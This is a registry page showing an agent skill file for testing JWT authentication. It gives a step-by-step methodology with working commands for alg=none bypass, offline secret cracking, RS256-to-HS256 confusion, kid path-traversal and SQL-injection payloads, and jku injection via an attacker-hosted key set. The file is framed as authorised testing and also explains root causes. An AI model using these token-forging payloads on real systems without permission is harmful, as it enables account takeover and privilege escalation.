jwt
Skill1 starsChanged 12 days agoMITView on GitHub
Hunt for JWT attacks: alg=none acceptance, weak/brute-forceable HMAC secrets, kid-header injection (path traversal/SQLi via the kid claim), and jku/x5u header injection (pointing signature verification at an attacker-controlled key). Use whenever the app uses JWTs for session/auth (`Authorization: Bearer`, a JWT-shaped cookie, API tokens). Keywords: jwt, json web token, alg none, hs256 to rs256 confusion, weak secret brute force, kid injection, jku injection, x5u injection, jwt_tool, hashcat jwt crack, signature bypass. Do NOT use for session cookies that are opaque server-side session IDs with no JWT structure — that's auth-bypass territory instead. Do NOT use for OAuth flow-level issues (redirect_uri, authorization code theft) — use open-redirect/auth-bypass; this skill is specifically about the JWT's own cryptographic/structural validation.
6 other projects use a version of this.
Adopted by
Most recently taken up by
- G1Joshi/Agent-Skillstheir own version, first seen Oct 13, 2026
- ScaleDockHQ/scaledock-skillstheir own version, first seen Oct 2, 2026
- emre-guler/websectheir own version, first seen Aug 27, 2026
- anurag-azure/skillstheir own version, first seen Jun 27, 2026
- sunilgentyala/OmniRedtheir own version, first seen Jun 4, 2026
- Sorcha-Platform/Sorchatheir own version, first seen Jan 24, 2026
Other versions6 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 6
- G1Joshi/Agent-Skills★ 15same name
- sunilgentyala/OmniRed★ 5same name
- emre-guler/websec★ 2same name
- Sorcha-Platform/Sorcha★ 2same name
- ScaleDockHQ/scaledock-skills★ 1same name
- anurag-azure/skills★ 0same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository124 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- ai-agent-reconSkill
- ai-supply-chainSkill
- exfiltration-via-aiSkill
- indirect-injectionSkill
- llm-fuzzingSkill
- prompt-injectionSkill
- rag-poisoningSkill
- tool-abuseSkill
- chain-analysisSkill
- chain-auth-to-takeoverSkill
- chain-customSkill
- chain-graph-walkSkill
- chain-idor-to-mass-dataSkill
- chain-info-to-exploitSkill
- chain-multi-appSkill
- chain-ssrf-to-cloudSkill
- chain-web-to-rceSkill
- chain-xss-to-account-takeoverSkill
- email-securitySkill
- engagement-flowSkill
- finding-disciplineSkill
- http-headers-securitySkill
- oob-interactionsSkill
- opsec-disciplineSkill
- research-firstSkill
- scope-disciplineSkill
- scope-importSkill
- session-contextSkill
- 2fa-bypassSkill
- api-abuseSkill
- auth-bypassSkill
- broken-access-controlSkill
- business-logicSkill
- cache-poisoningSkill
- clickjackingSkill
- corsSkill
- credential-testingSkill
- crlf-injectionSkill
- cryptographic-oracleSkill
- csrfSkill
- css-injectionSkill
- data-exfiltration-testSkill
- deserializationSkill
- email-injectionSkill
- file-uploadSkill
- fuzzingSkill
- graphqlSkill
- grpcSkill
- host-headerSkill
- http-smugglingSkill
- idorSkill
- info-disclosureSkill
- lateral-movementSkill
- lfi-rfiSkill
- mass-assignmentSkill
- oauthSkill
- open-redirectSkill
- parameter-pollutionSkill
- password-resetSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
4 rules. 0 are common, 2 are distinctive, and 2 are very specific to this project.
0
Common
Most of the 6 edited versions we read keep these.
2
Distinctive
This author's own choices. Worth a look.
2
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 34
No visible token expiry enforcement (long-lived tokens, or tokens still accepted well past their exp claim).
- Distinctive: line 79
If a secret is found, forge a new token with elevated claims and confirm acceptance:
- Very specific: line 129
If the server fetches your jku URL and verifies the forged token against your own key, this is confirmed and typically critical severity — …
- Distinctive: line 212
Before declaring this finding complete, probe these escalation paths:
“Common” is measured: kept by at least 6 in 10 of the 6 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Signals
- Any token matching the
header.payload.signaturebase64url-dot-separated JWT structure, especially inAuthorization: Bearer, cookies, or API response bodies after login. - Decoded header revealing
"alg": "HS256"(symmetric — brute-forceable secret, and a target for alg-confusion against an RS256-expecting verifier) or containing akid,jku, orx5ufield. - Decoded payload containing authorization-relevant claims (
role,isAdmin,scope,user_id) that, if forgeable, directly grant privilege. - No visible token expiry enforcement (long-lived tokens, or tokens still accepted well past
their
expclaim). - Library/framework fingerprint suggesting a JWT implementation known for historical alg- confusion issues (older jsonwebtoken/pyjwt/jjwt versions).
Prerequisites
- A captured, valid JWT from an authenticated session.
- For brute-force: the JWT itself (contains everything
hashcat/johnneed to attempt an offline crack — this doesn't touch the live target at all until a candidate secret is found). - For
jku/x5u: ability to host a JSON Web Key Set or X.509 cert on infra you control.
Methodology
- Decode and inspect the token first — always, before any attack attempt:
jwt_tool $TOKEN # prints decoded header/payload and runs basic checks automatically # or manually: echo $TOKEN | cut -d. -f1 | base64 -d 2>/dev/null; echo echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null; echo alg: noneacceptance test — strip the signature entirely and see if the server still accepts the token:
Ajwt_tool $TOKEN -X a # jwt_tool builds the alg:none variant automatically; or manually: python3 -c " import base64, json header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=') payload_b64 = '$TOKEN'.split('.')[1] print(header.decode() + '.' + payload_b64 + '.') " curl -s https://target/api/profile -H "Authorization: Bearer <RESULT_FROM_ABOVE>"200with valid authenticated content = confirmedalg:nonebypass.- Weak-secret brute force (HS256) — fully offline, no target interaction required until a
candidate is confirmed:
If a secret is found, forge a new token with elevated claims and confirm acceptance:jwt_tool $TOKEN -C -d /usr/share/wordlists/rockyou.txt # or hashcat -a 0 -m 16500 $TOKEN /usr/share/wordlists/rockyou.txt john --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256 jwt_hash.txtjwt_tool $TOKEN -S hs256 -p "found_secret_here" -T # jwt_tool prompts to edit claims interactively, then signs with the recovered secret curl -s https://target/api/admin/users -H "Authorization: Bearer <FORGED_TOKEN>" - Algorithm confusion (RS256 → HS256) — when the server expects RS256 (asymmetric) but
the verification code passes whatever
algthe token claims into a generic verify function, an attacker who knows the RS256 public key can sign a forged HS256 token using that public key as the HMAC secret:
The public key itself is often obtainable from ajwt_tool $TOKEN -X k -pk public_key.pem # jwt_tool automates: builds alg=HS256 header, signs payload using the PEM's content as the # HMAC key, outputs the forged token curl -s https://target/api/admin/users -H "Authorization: Bearer <FORGED_TOKEN>"/.well-known/jwks.jsonendpoint, a TLS cert, or embedded in client-side JS/mobile app binaries — locate it before attempting this. kidheader injection — if thekid(key ID) claim is used to look up the verification key via a filesystem path or database query, test for path traversal or SQL injection in that lookup:
Confirm by signing the forged token with the value you expect the injected# path traversal — point kid at a predictable file whose content becomes the HMAC key jwt_tool $TOKEN -I -hc kid -hv "../../../../dev/null" # a predictable empty/known-content file as "key" lets you sign with that known value jwt_tool $TOKEN -I -hc kid -hv "/etc/passwd" # if the app reads kid as a raw file path into the key material # SQL injection in the kid lookup (if the key is fetched via `SELECT key FROM keys WHERE id=?`) jwt_tool $TOKEN -I -hc kid -hv "nonexistent' UNION SELECT 'known_secret' --"kidlookup to resolve to, then testing acceptance.jku/x5uheader injection — point the key-set/certificate URL at infra you control, serving a JWKS/cert containing a key you generated, then sign the token with your own matching private key:
If the server fetches your# generate your own RSA keypair openssl genrsa -out attacker_key.pem 2048 openssl rsa -in attacker_key.pem -pubout -out attacker_pub.pem jwt_tool $TOKEN -X s -jw attacker_key.pem -ju "https://YOUR_VPS/jwks.json" # jwt_tool builds the JWKS file matching attacker_key.pem automatically and tells you # where to host it; serve it from YOUR_VPS, then test: curl -s https://target/api/admin/users -H "Authorization: Bearer <FORGED_TOKEN>"jkuURL and verifies the forged token against your own key, this is confirmed and typically critical severity — it's a full signature-bypass primitive.- Claim tampering without touching the signature (checks whether the server actually
verifies the signature at all, vs. only decoding it):
Any acceptance here is a severe finding (signature not verified at all) — test this first, it's the cheapest check and rules out needing any of the above if it already succeeds.jwt_tool $TOKEN -T # edit the role/isAdmin claim interactively, keep the original signature unchanged, submit curl -s https://target/api/admin/users -H "Authorization: Bearer <TAMPERED_TOKEN>" - Expiry/replay check:
jwt_tool $TOKEN -X e # jwt_tool flags expired tokens; test an old captured token directly curl -s https://target/api/profile -H "Authorization: Bearer <OLD_EXPIRED_TOKEN>" - Automated full sweep once a token is captured —
jwt_tool's playbook mode runs most of the above systematically:jwt_tool $TOKEN -M pb -t https://target/api/profile -rl "Authorization: Bearer "
Tooling
jwt_tool— the primary tool for nearly every technique above (decode, tamper, alg-none, alg-confusion, kid/jku/x5u injection, automated playbook mode).hashcat/john— offline HS256 secret brute-forcing.openssl— keypair generation for the jku/x5u forgery technique.curl— submitting forged tokens against the live target to confirm acceptance.
Root Causes
- JWT library/verification code accepting the
algvalue from the token itself rather than pinning the expected algorithm server-side (jwt.verify(token, key, { algorithms: ['RS256'] })explicitly, not left to the token to declare). - Weak, short, dictionary-guessable HMAC secrets for HS256 signing.
kidclaim used to directly construct a filesystem path or SQL query without sanitization/ allowlisting of valid key identifiers.jku/x5uheader values trusted and fetched without validating the URL against an allowlist of the application's own trusted key-hosting domains.- Signature verification skipped or bypassed entirely in some code path (e.g., a debug/test branch left reachable in production).
Validation Gate (minimum proof)
- A forged/tampered token (via whichever specific technique) is accepted by the live target,
with the resulting authenticated response demonstrating the claimed privilege change (e.g.,
access to an admin endpoint using a token whose
roleclaim you set yourself) — both the forged token (decoded, for readability) and the server's response captured. - For secret brute-forcing: the actual recovered secret value and a forged token signed with it that the server accepts.
- For jku/x5u: your hosted JWKS/cert content and the server's confirmed fetch (via your own access log) plus the accepted forged token.
Gotchas
- Minimum proof, not a privilege-escalation spree. Forge one admin-equivalent token, use it for one confirming request; don't use the forged token to make broad changes across the target.
- Common N/A:
algis correctly pinned server-side (confirmed by testingalg:noneand alg-confusion and both being rejected) — legitimate N/A for those specific variants; still test the others (weak secret, kid, jku/x5u) independently rather than stopping at the first N/A. - Common N/A:
kid/jku/x5uheaders aren't present in the token at all — those specific attack variants simply don't apply; don't force-fit them, move to the applicable techniques. - Overclaim trap: recovering a weak secret via offline brute-force against a token that has already expired is good evidence of a weak-secret configuration issue, but the live finding requires forging a fresh, unexpired token and confirming the server accepts it — do both steps before reporting full account-takeover severity.
- Overclaim trap: successfully tampering with a claim in a token that the server happens to
never actually read/trust for the specific endpoint you tested (e.g., you changed
rolebut that endpoint checks a separate server-side permissions table, not the JWT claim) is not proof of impact — confirm the specific claim you tampered with is actually the one the target endpoint relies on for its authorization decision. - RS256→HS256 confusion requires the RS256 public key to be obtainable — if it's not published anywhere reachable (no JWKS endpoint, not embedded in client code), this variant is N/A, don't assume you can still pull it off without the key material in hand.
Chain Anchors
Before declaring this finding complete, probe these escalation paths:
- Alg confusion to forgery — If alg confusion (RS256→HS256) works, can you forge a token with admin/elevated claims?
- Weak key signing — If the signing key was cracked/guessed, can you sign arbitrary claims (any user, any role)?
- kid injection — Does kid header injection achieve SQLi (key-lookup query) or path traversal (key lookup from filesystem)?
- Expiration tampering — Can you extend or remove the expiration claim and have the server still accept the token?
A finding without chain anchor results is INCOMPLETE. Record each anchor as tested/not-applicable/blocked with the reason.
Chains & Compositions
- Any confirmed forgery technique → direct auth-bypass / full account-equivalent impersonation — report at the severity the forged claim's privilege warrants.
- Forged token with elevated
user_id/roleclaim → idor testing becomes moot since the identity itself is forgeable; note this supersedes per-object IDOR findings on the same target in terms of overall severity framing. jku/x5upointing at attacker infra is itself a variant of ssrf (the server makes an outbound fetch to a URL you control) — note the dual classification if the fetch behavior itself (headers sent, internal network reachability) is also worth separately documenting.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

